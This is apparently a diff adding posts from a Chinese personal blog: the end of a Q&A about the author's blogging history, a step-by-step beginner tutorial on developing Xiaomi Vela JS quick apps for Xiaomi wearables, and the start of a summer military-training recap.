当时的我不知道自己的审美是什么,不管我换几套封面图,博客看上去还是有很大的违和感。所以我直接把[DuckXu](https://i.duckxu.com/)的封面图搬了过来。这何尝不是一种办法呢?你说对吧(脸红)
就这样,每当我纠结于“这个地方放什么好”时,心里总会浮现出一个答案——去“模仿”一下我常看的那些大佬。在这样的节奏下,本站修修补补,靠着吃“百家饭”,终于成长得有点“像样”了。
不过写了几篇文章之后,我觉得一味模仿,成长出来的是一个畸形的“我”,即我应该有点自己的风格。于是我换了一套主题([PureSuck](https://note.moxiify.cn/post/LoveWithPureSuck)),重写了关于页面。就这样,小站在互联网中漂流了几周,我的周记也在持续。
10月下旬,我实在无法忍受Typecho,便将博客系统换成了WordPress。搭配[CoreNext](https://www.lovestu.com/corenext)主题,简单美化了一下便投入了使用。
大概是12月,我通过[开往](https://travellings.cn/)跳转到了墨迹日志(log.ink,该域名似乎已转让),一下子被他使用的主题迷上了——这简直是长在我审美上的!所以,我毫不犹豫地寻找到了主题购买地址,花¥79买下了主题授权。于是,本站用上了Oyiso主题,延续至今。
## 什么契机让你开始写博客?
硬件契机(服务器):007IDC 服务器中秋特惠活动,让我能够支撑服务器费用;
软件契机(朋友):[DuckXu](https://duckxu.com/),他坚持写文章的精神触动了我,让我有动力去与他并肩前行。并且,在我建立博客初期,是他不吝啬文笔地参与讨论,让当时空虚的我很幸福。
## 你是如何完成创作的?
1. 找一个合适的大片时间段,打开电脑,登录WordPress后台,新建文章;
2. 倒一杯水,锁上门;
3. 拟定标题,并先在[Canva](https://canva.cn/)上设计好封面(是的,我喜欢先设计封面再写文章);
4. 将自己记在本子或其它地方的Idea整理成段落文字;
5. 简单检查错误,设定文章分类、标签、摘要;
6. 发布文章。
## 运营博客的过程中是否有失去过动力?如果有,是为什么恢复的?如果没有,请问您又是如何保持创作的激情?
从2024年10月正式独立建站后,我并没有失去过创作动力。除了在寒暑假时更新频率会略减,其余时间几乎会保持每周一更。可能因为我比较敏感吧,总是心事重重,经常在无意间产生一些有的没的想法。这些想法一旦产生,我就会迫切地想要将它们写出来。所以,我的灵感暂时没有且不会枯竭。
## 如何搭建博客,以及运营博客每年需要投入的资金?
本站使用宝塔面板+WordPress进行搭建。
现在我的网站托管于火毅盾,所以服务器投入资金现在为0。
每年需要承担域名费用161元。
## 推荐 1 篇你博客中的文章,并推荐一个你喜欢读的博客,聊聊原因。
在[归档页](https://virelyx.com/archive/)翻了快十分钟,硬是没找出有什么拿得出手的文章。那就不推荐了,做人要自信,所以我推荐你阅读我博客的每一篇文章,都是精心编撰,阅读它们有助于全面认识我。
要我推荐一个博客,那我推荐:[白熊阿丸的小屋](https://blog.bxaw.name/)。他的文章大多都是深度思考,部分观点引起了我的强烈共鸣。
## 推荐 1 个近期喜欢的事物?
最近迷上了Xiaomi Vela JS平台的软件开发。并且学习着写出了第一个Vela程序——Poster。
## 想做还没有做的事,或想尝试还没有尝试的主题?
观看电影《731》。勿忘国耻。
## 写到这里,闭上你的眼睛,深呼吸几分钟,或是出去溜达一圈,然后回来写任何你想写的东西。
根据我最近的亲身经历,我想写以下几句话。
首先引用邓紫棋的一句话:
> 唯有忍耐到底的,必然得救。
然后就是我自己想说的:
> 在我最绝望的时候,只有自己可以救赎自己。
@@ -0,0 +1,686 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff488c677b.webp"
title: "从零开始,为小米穿戴设备编写快应用"
pubDate: "2025-08-30T18:25:00.000Z"
updatedDate: "2025-08-30T18:25:00.000Z"
categories:
- "科技"
tags:
- "Vela"
- "开发"
comments: true
---
## 前言
看到互联网上有关 Xiaomi Vela JS 应用程序开发的教程实在是少之又少,故撰写此文,希望能帮到那些想要开发 Xiaomi Vela JS 快应用但找不到教程的朋友们。
本篇文章仅针对 Windows 系统进行简要 Vela 应用开发教程,其它系统可适当参考。
> 声明:本文封面素材来自 [Xiaomi Vela 官网](https://iot.mi.com/vela),如有侵权,敬请[联系我](mailto:hi@virelyx.com),我将立即删除。
### 何为 Vela
Xiaomi Vela 操作系统(下统称为“Vela”)是小米基于 NuttX 打造的嵌入式软件平台。具有性能要求低、占用体积小、兼容性强等特点。2023年8月14日,小米首次将 Vela 引入到穿戴设备领域,发布了搭载 VelaOS 的小米手环8 Pro。此后推出的小米手环9、小米手环9 Pro、红米手表4、红米手表5、小米手环10等产品也都搭载了 VelaOS。
### 何为 Vela 快应用
> Xiaomi Vela JS快应用(下统称为“Vela 快应用”)是小米为物联网(IoT)设备打造的一种应用开发框架和运行时环境。它允许开发者使用流行的前端技术(主要是JavaScript)来为搭载 Vela 系统的设备开发应用。
>
> FromDeepSeek
目前,比较新的小米手环/手表、红米手表的 Vela 操作系统都搭载了快应用引擎,这意味着用户可以为自己的穿戴设备安装各种应用程序。
> 请注意,红米手环3 虽然搭载了 Vela 系统,但其并未搭载快应用引擎,因此其无法安装和运行 Vela 快应用。
Vela 快应用使用的语言为 HTML、CSS和Javascript。如果要以最快的时间学习 Vela 快应用开发,你需要先掌握一些简单的 HTML、Javascript 基础。
## 开发环境配置
工欲善其事必先利其器。在开始 Vela 快应用开发生涯之前,我们需要正确配置一下 Vela 快应用开发环境,这有利于我们今后的顺利开发。
在这里整合一下需要下载的资源:
- AIoT IDEhttps://vela-ide.cnbj3-fusion.mi-fds.com/vela-ide/ide/v1.7.0/AIoT_IDE_windows.exe
- Node JShttps://nodejs.cn/download/
- Platform Toolshttps://developer.android.google.cn/tools/releases/platform-tools
- JDKhttps://www.oracle.com/cn/java/technologies/downloads/#jdk24-windows
- OpenSSLhttps://slproweb.com/products/Win32OpenSSL.html
> 下载软件即代表您默认同意其对应的《用户协议》。
### 系统要求
Windows 10 或 更高版本
### 安装 AIoT IDE
> `AIoT-IDE` 是用于开发`Xiaomi Vela JS 应用`的官方集成开发环境。建立在 [Visual Studio Code (opens new window)](https://code.visualstudio.com/)(以下简称 VS Code)的基础上,它继承了 VS Code 的全部功能,比如**代码编辑**、**插件集成**、**主题定制**及个性化设置。此外,`AIoT-IDE` 还引入了一系列专门针对 `Xiaomi Vela JS 应用` 应用开发的增强功能。
>
> From[小米 Vela JS 应用开发文档](https://iot.mi.com/vela/quickapp/zh/tools/)
下载完 AIoT IDE 安装包后,直接右键单击 → 以管理员身份运行,执行默认安装步骤即可。
> 注:此处“执行默认安装步骤”指的是一路点击“下一步”,不修改任何安装选项。如果您有改变安装路径的需求,可自行修改。
### 安装 JDK
同上,直接以管理员身份运行,正常安装即可。
### 安装 Node JS
同上,直接以管理员身份运行,正常安装即可。
### 安装 Platform Tools
Platform Tools 是由 Google 提供的 ADBAndroid Debug Bridge,安卓调试桥)调试工具,在 Vela 快应用的开发过程中,Platform Tools 会被用于与模拟器通信,即将调试用的程序推送到模拟器中,并控制模拟器运行。
首先,将下载好的`platform-tools-latest-windows.zip`解压。
![img](https://image.luming.cool/i/2026/05/10/69fff467a344b.webp)
解压完毕后,会得到一个文件夹,其内部还有一个名为`platform-tools`的文件夹。
![img](https://image.luming.cool/i/2026/05/10/69fff46886247.webp)
`platform-tools`移动到自己想要安装到的路径。比如我就将其移动到`C:\Program Files\`下。
![img](https://image.luming.cool/i/2026/05/10/69fff4698e1a3.webp)
紧接着,我们打开搜索功能,搜索“编辑系统环境变量”,并进入。
![img](https://image.luming.cool/i/2026/05/10/69fff46c0db21.webp)
具体环境变量添加流程如下:
1. 点击`系统属性`窗口中的“环境变量”按钮;
2. 点击`环境变量`窗口中`系统变量`模块下的“新建”按钮;
3. 输入变量名:`ANDROID_HOME`
4. 输入变量值,此处复制`platform-tools`文件夹所在的路径。就比如我是`C:\Program Files\platform-tools`
在添加完环境变量后,还需要在 Path 变量中添加一个项。
![img](https://image.luming.cool/i/2026/05/10/69fff46d92434.webp)
具体步骤如下:
1. 选中`环境变量`窗口中的“Path”变量;
2. 点击`环境变量`窗口中`系统变量`模块下的“编辑”按钮;
3.`编辑环境变量`窗口中,点击“新建”按钮;
4. 输入`%ANDROID_HOME%`,别忘了半角百分号!
5. 点击`编辑环境变量`窗口中的“确定”按钮。
至此,Platform Tools 已经安装完毕。点击各窗口中的“确定”按钮即可保存设置。保存完毕后,我们打开 cmd ,在其中输入`adb`并回车。如果安装成功了,那么 cmd 窗口中就会输出一大堆东西,如下图。
![img](https://image.luming.cool/i/2026/05/10/69fffc137e4d5.png)
如果提示“‘adb’不是有效的命令”,那么请自查是否按照上述步骤完成安装,或者重启电脑再试。
### 安装 OpenSSL
OpenSSL 是在软件发布时制作签名证书的工具。
下载好安装包后,双击运行,正常安装。并记下安装路径。
譬如,我的安装路径就是`C:\Program Files\OpenSSL-Win64`
安装完毕后,按照前面的方法,在 Path 变量中添加 OpenSSL 的 bin 路径。比如按照我的情况,那么我实际添加的值就是`C:\Program Files\OpenSSL-Win64\bin`
操作完之后,重启电脑,随后打开 cmd,输入以下命令:
```
openssl version
```
若正常输出版本,则代表安装成功。若提示“‘openssl’不是有效的命令”,请自查是否严格按照上述步骤操作。
### 配置 AIoT IDE 环境
AIoT IDE 在安装完毕后,还需要进行模拟器环境配置。
启动 AIoT IDE ,首次使用可能会弹出一堆信任弹窗,点击“Trust Publisher & Install”按钮即可。点击之后,AIoT IDE 会自动安装必要的扩展。比如简体中文语言包、Vela 快应用开发套件等。
![img](https://image.luming.cool/i/2026/05/10/69fff46ed9439.webp)
当扩展安装完毕后(通常需要1~2分钟),窗口右下角会有一个浮窗提示“中文语言包已安装完毕”,此时点击“Change Language and Restart”,即可重启 AIoT IDEIDE 语言会变为中文。
接下来,点击菜单栏的“文件” → “新建项目”,选择创建一个“Watch”项目,以“常规”模板创建。
![img](https://image.luming.cool/i/2026/05/10/69fff470013a5.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff470e6fe1.webp)
项目名称、项目路径可以随便填写。只要能完成创建即可。
创建完成后,会有弹窗“是否信任此文件夹中文件的作者”,点击“是,我信任此作者”即可。
随后,IDE 窗口中会出现上方模拟器工具栏(如①所标)、右侧辅助侧栏(如②所标)等。这些都是后续开发中很重要的辅助工具。
![img](https://image.luming.cool/i/2026/05/10/69fff47259f1a.webp)
在右侧的辅助侧栏中,可以看到醒目的提示——“当前项目不可以正常启动”。此时我们需要按照它的提示,一步步完成项目和模拟器环境的初始化。
> 注:项目环境初始化流程在每次新建项目后都需要走一遍,模拟器环境只需要初始化一次即可。
点击“安装项目依赖”后,在 IDE 内部下方会出现终端,输出安装进程。大部分 PC 在这时会报错:
```
* 正在执行任务: npm i
npm : 无法加载文件 C:\Program Files\nodejs\npm.ps1,因为在此系统上禁
止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?Lin
kID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ npm i
+ ~~~
+ CategoryInfo : SecurityError: (:) []PSSecurityExcep
tion
+ FullyQualifiedErrorId : UnauthorizedAccess
* 终端进程“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command npm i”已终止,退出代码: 1。
* 终端将被任务重用,按任意键关闭。
```
这是由于 npm 命令被 PowerShell 识别成了不安全脚本,导致命令无法执行。
要解决这个问题,只需以管理员身份运行 PowerShell ,并输入以下命令:
```
set-ExecutionPolicy RemoteSigned
```
如果 PowerShell 询问是否确认更改,选择“A(全是)”就可以了。
如果 PowerShell 什么都没输出,直接关闭 PowerShell 窗口就行了。
此时再次点击“安装项目依赖”,就可以正常安装项目环境了。通常需要1~3分钟,稍等即可。
项目依赖安装完毕后,在 IDE 窗口的右下角就会有一个极为舒适的浮窗:
![img](https://image.luming.cool/i/2026/05/10/69fff472e514f.webp)
接下来,初始化模拟器环境。点击“初始化模拟器环境”按钮,IDE 会弹窗,点击“创建所有设备模拟器”按钮即可。IDE 会自动下载模拟器所需的资源。
![img](https://image.luming.cool/i/2026/05/10/69fff473736c0.webp)
模拟器资源下载大约需要5分钟。下载完毕后,IDE 右侧辅助侧边栏会显示“当前项目可以正常启动”。至此,AIoT IDE 全部环境配置完毕。
![img](https://image.luming.cool/i/2026/05/10/69fff474d1fb0.webp)
## 了解 Vela 快应用基础结构
Vela 快应用项目目录下有一个`src`文件夹,文件夹内部存放的就是与项目有关的文件。接下来我将以`src`文件夹下的视角,一一讲解与项目有关的文件。
### manifest.json
manifest.json,是主管应用信息、权限申请和页面路由的配置文件。
使用`默认模板`创建的 Vela 快应用项目,其 manifest.json 内容如下:
```
{
"package": "com.application.watch.demo",
"name": "demo",
"versionName": "1.0.0",
"versionCode": 1,
"minPlatformVersion": 1000,
"icon": "/common/logo.png",
"deviceTypeList": [
"watch"
],
"features": [
{
"name": "system.router"
}
],
"config": {
"logLevel": "log",
"designWidth": "device-width"
},
"router": {
"entry": "pages/index",
"pages": {
"pages/index": {
"component": "index"
},
"pages/detail": {
"component": "detail"
}
}
}
}
```
虽然 AIoT IDE 最新版本中已存在 manifest 可视化编辑器,但是了解一下 json 的基本结构还是挺有必要的。
这里用表格来解释一下一些典型的配置节点含义。
| 项名 | 含义 | 格式要求 | 示例 |
| -------------- | ---------------------------------- | --------------------------------------------------------- | --------------------- |
| package | 应用包名 | 通常为“com.作者名称.软件名称” | com.virelyx258.poster |
| name | 在穿戴设备应用列表中显示的应用名称 | 尽可能6个汉字以内 | 环间电子书 |
| versionName | 应用版本名称 | 无 | 1.0.0 |
| versionCode | 应用版本号 | 尽可能每次更新都增加 | 1 |
| deviceTypeList | 支持的设备类型 | 手表/手环等穿戴设备,统一填"watch" | watch |
| features | 应用使用到的接口列表 | 使用 json 数组形式 | 见上方示例代码 |
| router | 应用中包含的页面,需要在此定义 | 先定义"entry"(主页地址),再分别定义各个页面地址及名称。 | 见上方示例代码 |
当然,如果你实在受困于上方令人头疼的 json,那么你可以试试使用 AIoT IDE 自带的 manifest 可视化编辑器。只需要点击 IDE 中代码框顶部的按钮即可。
![img](https://image.luming.cool/i/2026/05/10/69fff47657f63.webp)
新版本 AIoT IDE 的可视化编辑器很人性化,为每项功能都做出了详细解释。所以此处不再针对可视化编辑器进行解释。
### \pages\
`pages`是一个目录,里面存放着程序中的窗口数据。目录结构大致如下:
```
pages
|_窗口名称
| |_窗口名称.ux
|_窗口名称2
|_窗口名称2.ux
```
![img](https://image.luming.cool/i/2026/05/10/69fff476eb20b.webp)
如果需要新建页面,只需要在`pages`目录下新建一个文件夹,将其命名为新窗口名称,并在该文件夹下新建一个名为"窗口名称.ux"的文件。至于“.ux”文件是什么,请往后看。
### .ux文件
`pages`目录下,后缀名为“.ux”的文件很常见,它代表着 Vela 小程序的页面,能够显示在屏幕上让用户看见。
### \common\
`common`是一个目录,用于存放程序中公用的一些资源,类似于常量,不可被修改/删除。
在现有的示例项目中,`common`目录下有一个`logo.png`,它就是程序的 Logo。像是我开发 Vela 快应用的时候,就喜欢在`common`目录下按照页面名称分别新建目录,保存页面内需要用到的资源。
### \i18n\
`i18n`是一个目录,用于存放程序的多语言数据。不怎么常用,我也不会写。后续可能会把这一块给补上。见谅。
至此,
## .ux 代码编写规范
一个标准的`.ux`文件,内部由三大部分代码组成:`template``script``style`。其分别代表着`HTML``Javascript``CSS`语言。
比如,AIoT IDE 新建的模板页面代码如下:
```
<template>
<div class="demo-page">
<text class="title">{{ $t("a.b") }},欢迎打开{{ title }}</text>
<!-- 点击跳转详情页 -->
<input class="btn" type="button" value="跳转到详情页" onclick="routeDetail" />
</div>
</template>
<script>
import router from "@system.router"
export default {
// 页面级组件的数据模型,影响传入数据的覆盖机制:private内定义的属性不允许被覆盖
private: {
title: "示例页面"
},
routeDetail() {
// 跳转到应用内的某个页面,router用法详见:文档->接口->页面路由
router.push({
uri: "/pages/detail"
})
}
}
</script>
<style>
.demo-page {
flex-direction: column;
justify-content: center;
align-items: center;
}
.title {
font-size: 20px;
text-align: center;
}
.btn {
width: 200px;
height: 40px;
margin-top: 20px;
border-radius: 5px;
background-color: #09ba07;
font-size: 20px;
color: #ffffff;
}
</style>
```
需要提醒一下,Vela 如果想要实现一些功能(如本地文件读写、网络请求发送等),需要先在`manifest.json`中声明需要的系统接口,并在对应页面的`<script> </script>`段首引用模块。格式如下:
```
<script>
import app from '@system.app'
// 或
const app = require('@system.app')
// 下方代码省略...
```
对于 Vela 系统支持的接口,详见[接口 | Xiaomi Vela JS 应用开发文档](https://iot.mi.com/vela/quickapp/zh/features/)。
---
接下来讲一下`.ux`文件在编写时需要注意的规范。这些都是新手在编写`.ux`文件时常见的,会关乎到程序能否正常运行。
**首先是template段。**template段代表着页面的前端元素,使用 HTML 语言进行编写,但实际上会与标准的 HTML 页面有些许差别:
1. template 段中的所有元素都需要被包裹在一个大的`<div>`中。切忌在一个 template 段中直接出现多个`<div>`,如下演示:
```
<template>
<!-- 这是错误演示,template中直接出现多个<div>容器 -->
<div class="time_label"></div>
<div class="date_label"></div>
</template>
<template>
<!-- 若要让程序正确运行,需要将页面内元素包裹在一个大的<div>容器里 -->
<div>
<div class="time_label"></div>
<div class="date_label"></div>
</div>
</template>
```
1. Vela 系统的组件库中支持部分原生 HTML 组件,如`<a>``<span>`等。支持的全部组件类型详见[组件 | Xiaomi Vela JS 应用开发文档](https://iot.mi.com/vela/quickapp/zh/components/)。
**其次,是script段。**Vela 的`<script>`段可用来声明接口,以及定义函数和变量。需要提醒的是,Vela 的`<script>`段也有着其特定的规范。
先来看一下示例:
```
<script>
// 这里是声明接口部分的代码,可直接写在<script>段的根部。
import router from "@system.router"
// 像是变量、函数什么的,都被包裹在 export default{}下。
export default {
// 页面级组件的数据模型,影响传入数据的覆盖机制:private内定义的属性不允许被覆盖
// private 这里包含的就是页面内的变量。
private: {
title: "示例页面"
},
// private 声明结束之后,就可以声明函数了。格式如下
/* 函数名称() {
函数代码(参数)
},
函数名称2(){
函数代码(参数)
}
*/
// 切记,若函数声明结束之后,后方还有继续的函数,则需要在当前函数花括号结束处添加“,”!
routeDetail() {
// 跳转到应用内的某个页面,router用法详见:文档->接口->页面路由
router.push({
uri: "/pages/detail"
})
}
}
</script>
```
1. **声明接口的代码写在script段的根部。**
2. **变量、函数的声明代码**要被包裹在export default{}下。
3. **变量声明格式**
```
private: {
// 变量名称通常为英文,以字母或下划线开头,不能以数字开头。
// 若含有多条变量,则为变量截止前一条及以上的每条变量声明行尾添加半角逗号“,”。
name: "hello",
intro: "nihao"
},
```
变量名称通常为英文,以字母或下划线开头,不能以数字开头。详细规范可自行上网搜索 Javascript 变量和常量命名规范。
若含有多条变量,则为变量截止前一条及以上的每条变量声明行尾添加半角逗号“,”。
1. 函数声明格式:
```
sum_name() {
console.log("Hello,World!");
},
sum_name2() {
console.log("This is a test of Xiaomi Vela OS!");
}
```
与变量声明的规范相同,若声明了多个函数,则为函数截止前一条及以上的每个函数花括号尾后添加半角逗号“,”。
**最后是style段。**有两个需要注意的地方,否则组件可能会无法正常显示:
1. 每个样式都需要添加`position: absolute;`
2.`background`属性名称更改为`background-color`
比如下方这串示例代码:
```
.button {
position: absolute;
width: 200px;
height: 40px;
margin-top: 20px;
border-radius: 5px;
background-color: #09ba07;
font-size: 20px;
color: #ffffff;
}
```
其它地方就没有什么需要注意的了。按照标准 CSS 格式进行编写即可。
当然,Vela 有一些很好用的**第三方工具**,可以免去自己编写 CSS 的麻烦。
## UI 设计工具
[即时设计](https://js.design/)。它是目前 Vela 快应用开发者比较常用的 UI 设计工具。它的上手成本较低,支持将设计好的元素一键以图片形式导出,也可以导出为 CSS 格式直接粘贴到 AIoT IDE。
目前,[无源流沙公开的 UI](https://www.bandbbs.cn/threads/14585/) 是 Vela 快应用界被广泛使用的 UI。如果你要基于这套 UI 进行设计,只需在即时设计中将该 UI 下载,即可自行创作。
> 尊重作者版权,请不要忘了在关于页面留下“无源流沙”的名字噢~
接下来,我将讲解一下如何使用即时设计给 Vela 快应用设计 UI。
### 新建画布
在即时设计的首页,点击“创建文件”按钮,即可创建一个新项目。
即时设计的设计界面如下所示:
![img](https://image.luming.cool/i/2026/05/10/69fff47827e77.webp)
1. **工具栏**:包含画板工具、形状工具、钢笔、文本、切片、容器等设计工具;
2. **页面组件管理区**:显示当前项目包含的页面和当前页面中包含的组件;
3. **画布区**:在此处进行 UI 设计。
4. **右侧工具栏**:包含修改元素属性、导出等功能。
新建一个画布,分辨率要和目标设备的屏幕分辨率相同。常见的小米穿戴设备屏幕分辨率如下:
| 设备名 | 屏幕分辨率 |
| ------------- | ---------- |
| 小米手环8 Pro | 480\*336 |
| 小米手环9 | 192\*490 |
| 小米手环9 Pro | 480\*336 |
| 小米手环10 | 212\*520 |
| 红米手表4 | 390\*450 |
| 红米手表5 | 432\*514 |
比如我新建了一个红米手表5的画布。则画布的宽(W)即为432px,高(H)即为514px。
![img](https://image.luming.cool/i/2026/05/10/69fff47945e41.webp)
紧接着,按下图所示步骤,将画布底色调整为黑色:
![img](https://image.luming.cool/i/2026/05/10/69fff47a8757a.webp)
但是手表屏幕是有圆角的,如果直接按照矩形去设计的话,难免会让组件出现在屏幕外面。所以,我们需要手动为画布设置圆角半径,来确定组件应该摆放在什么位置。
目前我设计过的设备,它们的圆角半径如下:
| 设备名 | 圆角半径 |
| ------------- | -------- |
| 小米手环9 | 999px |
| 小米手环9 Pro | 48px |
| 小米手环10 | 999px |
| 红米手表5 | 90px |
设定好圆角值后,当前的画布就像是一个屏幕了。
![img](https://image.luming.cool/i/2026/05/10/69fff47b9e142.webp)
### 设计组件
你可以选择使用即时设计自带的工具绘制组件,也可以选择参考无源流沙 UI 库的组件。
在画布中调整组件的位置、大小,并按照自己对软件的预期来设计。
![img](https://image.luming.cool/i/2026/05/10/69fff47ccaafb.webp)
注意:**在设计时,若页面宽度/高度超出屏幕分辨率,则可将画布宽高进行调整,并在编写代码时使用scroll_box组件来实现滚动浏览。**
譬如我制作的某个软件的**关于页**,其画布高度就是1104px。
![img](https://image.luming.cool/i/2026/05/10/69fff47e278b0.webp)
### 将组件导入 IDE
当组件设计完毕后,怎么将它导入到 AIoT IDE 里呢?很简单,即时设计支持将组件一键导出为 CSS 代码。
**对于刚刚入门的零基础 Vela 开发者,很可能会产生一个误区(我就是)——在即时设计中设计好 UI 后,可以一键将所有组件的 CSS 代码导出,复制到 AIoT IDE 里之后就可以直接用了。**
实际并不是这样。在设计好 UI 后,我们需要一个一个选中页面中的组件,将其逐个添加到 AIoT IDE 中,并手动在页面 .ux 文件的`template`段引用该组件。
详细步骤如下:
1. 选中需要导出的组件;
2. 在设计页面的右侧工具栏上方,点击“标注”选项卡,切换到标注页;
此时,在右侧工具栏就可以看到该组件的 CSS 代码了。
![img](https://image.luming.cool/i/2026/05/10/69fff47f6167c.webp)
1. 在 AIoT IDE 中,将复制的 CSS 代码粘贴到项目中。
切记要加上`position: absolute;`这一行,并将`background`修改为`background-color`
```
.back_button{
position: absolute; /* 记得加这一行 */
left: 40px;
top: 40px;
width: 72px;
height: 72px;
opacity: 1;
background: radial-gradient(50% 50% at 49.99999205271529% 49.99999470180991%, rgba(38, 38, 38, 1) 0%, rgba(38, 38, 38, 0.8) 100%);
}
```
但是,CSS 代码包含的只有位置、形状和背景基本信息。像是我上一张图片选中的“返回”按钮就包含了一个不规则的图标,只复制 CSS 是无法在程序中正常显示的。
怎么办呢?很简单。我们只需要先将这个按钮以图片形式导出,再将它的 CSS 代码复制到 AIoT IDE 中,最后在程序中以`图片`的形式将其引入,即可完美实现所需的效果。_(在 Vela 系统中,图片可以绑定单击事件,所以自然可以当作按钮使用。)_
具体操作步骤如下:
1. 将需要导出为图片的组件建组,确保它是一个整体;
![img](https://image.luming.cool/i/2026/05/10/69fff480be878.webp)
1. 选中建组后的组合;
2. 将右侧工具栏切换到“标注”选项卡;
3. 点击“导出”模块右侧的加号,再点击“导出”按钮。
![img](https://image.luming.cool/i/2026/05/10/69fff48229308.webp)
对于图片素材,我一般是在项目目录下保存为`\common\页面名称\xxx.png`。这样方便引用。
接下来,只需要对粘贴好的 CSS 代码做出些许修改——删掉 `background-color` 所在的那一行。因为该组件是以图片形式存在,不再需要单独背景颜色。并且由于该行代码存在渐变算法,Vela 可能不支持此算法。
```
.back_button{
position: absolute; /* 记得加这一行 */
left: 40px;
top: 40px;
width: 72px;
height: 72px;
opacity: 1;
}
```
在引入 CSS 之后,就可以直接在页面文件的`template`段引用该组件样式了。
譬如我要引入上文提到的返回按钮,就只需将组件的`class`属性设置为`back_button`,再将图片链接(`src`)设置为图片实际所在位置。示例代码如下:
```
<image class="back_button" src="/common/index/back.png"></image>
```
像是其它类型的组件,如`<a>`标签、`<div>`组件, 请以[组件 | Xiaomi Vela JS 应用开发文档](https://iot.mi.com/vela/quickapp/zh/components/)为准,根据自己的需要进行添加。
## 调试运行和打包发布
### 调试过程
前面我们已经部署过了模拟器环境,所以现在只需要按照以下步骤操作即可调试软件:
1. 点击 IDE 上方工具栏的“选择设备”按钮;
2. 在弹出的列表中选择自己需要的设备(比如我就是“redmi_watch”);
3. 点击 IDE 上方工具栏的“调试”按钮。
![img](https://image.luming.cool/i/2026/05/10/69fff483a960f.webp)
大约需要10~20秒,IDE 会自动打包软件并推送到模拟器上。此时,IDE 窗口右侧的辅助侧边栏会显示模拟器的画面。如图所示。
![img](https://image.luming.cool/i/2026/05/10/69fff484f1fbc.webp)
此时就可以用鼠标代替手指,在模拟器的屏幕上进行点按、滑动,以进行功能调试。
> 注:AIoT IDE 的模拟器不支持键盘输入。
### 打包发布
当软件测试完毕,达到自己的预期后,就可以打包发布了。
点击 IDE 上方工具栏的“发布”按钮,若初次发布应用,IDE 会弹窗询问是否新建一个签名。点击“好的”即可。
在弹出的标签页中,按照 IDE 的提示,一步步填写好国家名称、省份、地址、公司名称、名称与姓氏、邮箱等信息,再点击“创建”即可完成创建。
![img](https://image.luming.cool/i/2026/05/10/69fff485a8e7a.webp)
此时,如果一切顺利,那么 IDE 右下角会出现一个令人极度舒适的浮窗:
![img](https://image.luming.cool/i/2026/05/10/69fff48639686.webp)
再次单击“发布”按钮,IDE 就会开始自动执行 `npm run release` 命令。大约10秒钟后,终端会输出:
```
✅ [08-30 15:36:28] [toolkit]: build success: 2018ms
* 终端将被任务重用,按任意键关闭。
```
此时,软件就被打包成发行版 .rpk 文件了。
打包好的 .rpk 文件,可以在**项目根目录下的dist文件夹中**找到。
![img](https://image.luming.cool/i/2026/05/10/69fff486cdd74.webp)
## 写在最后
本文拙劣地概述了 Vela 快应用的部分基础知识,由于本人知识有限,只能帮到这里了,如果有更多学习需求(如按钮事件绑定),请前往[Xiaomi Vela JS 应用开发文档](https://iot.mi.com/vela/quickapp/),它是 Vela 开发的百科全书,只要**耐下性子细细研读**,Vela 开发,易如反掌。
希望你在学会 Vela 开发后,能够和我一起,为 Vela 开源社区做出贡献。虽微不足道,但星星之火,可以燎原。祝开发顺利!
@@ -0,0 +1,411 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff3ce09f1d.webp"
title: "暑期 · 军训总结"
pubDate: "2025-08-27T13:53:00.000Z"
updatedDate: "2026-07-24T02:51:20.000Z"
categories:
- "生活"
tags:
- "校园"
- "生活"
- "软件"
comments: true
---
<!-- wp:audio {"id":1153} -->
<figure class="wp-block-audio"><audio controls src="https://virelyx.com/wp-content/uploads/2025/08/20250828060132415282.flac"></audio></figure>
<!-- /wp:audio -->
<!-- wp:paragraph -->
<p>好久不见,朋友们。我这个失踪人口回归了。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>今天是军训的倒数第二天,我已无法遏制心底的表达欲,再憋可能就憋出心病了。所以,我就先写到本子上吧,肯定写不完,后续再根据稿子自由发挥。这应该会是一篇万字长文。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>本篇文章涉及到的方面很多,包括但不限于自我反思、经验总结和吐槽等。<code>校园生活部分</code>包含部分负面情绪,我表示非常抱歉。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>关键词:<code>Vela开发初体验</code>、<code>军训七天</code>、<code>和平精英</code>、<code>新鼠标</code>、<code>暑期总结</code>。</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">Vela开发初体验</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>不知道Vela是什么的同学请先<a href="https://iot.mi.com/vela/quickapp/zh/guide/" data-type="link" data-id="https://iot.mi.com/vela/quickapp/zh/guide/" target="_blank" rel="noreferrer noopener">移步这里</a></p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>7月21日,我于米坛社区看到了<a href="https://www.bandbbs.cn/resources/3740/" target="_blank" rel="noreferrer noopener">SimpleRSS</a>这个小程序,在安装体验后发现其不能解析标准RSS源(如本站的feed链接),所以我心血来潮,加入了作者提供的的交流QQ群。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>在与作者进行交流后,我发现<a href="https://www.bandbbs.cn/members/427458/" target="_blank" rel="noreferrer noopener">@yzl3014</a>这位创作者很开朗且聊得来。所以我主动向他求助了一些有关Vela系统开发的问题,他一步步指导我入了门。在此之前,我对Vela开发都是一知半解,从来没有写出过一个能跑起来的软件。那天,我一步步摸索,写出了一个有基本用户界面的Vela快应用并安装到了手表上。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>这把我兴奋坏了,我当即打算完成我前期渴望完成的一个“梦”——做一个自定义网络请求工具,以实现我的远程控制需求。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
